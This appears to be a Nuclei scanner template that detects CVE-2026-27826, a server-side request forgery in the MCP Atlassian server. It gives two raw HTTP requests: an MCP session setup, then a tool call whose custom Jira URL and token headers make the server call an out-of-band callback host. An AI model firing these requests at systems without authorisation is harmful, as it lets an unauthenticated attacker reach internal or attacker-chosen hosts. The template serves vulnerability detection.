id: CVE-2026-27826

info:
  name: "Any MCP Tool Handler - - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to
    version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server
    process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP
    headers without an `Authorization` header.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-27826&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mcp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-27826
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,mcp,atlassian,ssrf,oast
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"vgrnsx","version":"1.0"}}}

    extractors:
      - type: regex
        name: session_id
        part: header
        internal: true
        group: 1
        regex:
          - '(?i)Mcp-Session-Id:\s*([a-f0-9]+)'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(session_id) > 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        Mcp-Session-Id: {{session_id}}
        X-Atlassian-Jira-Url: http://{{interactsh-url}}
        X-Atlassian-Jira-Personal-Token: vgrnsx-ssrf-test

        {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and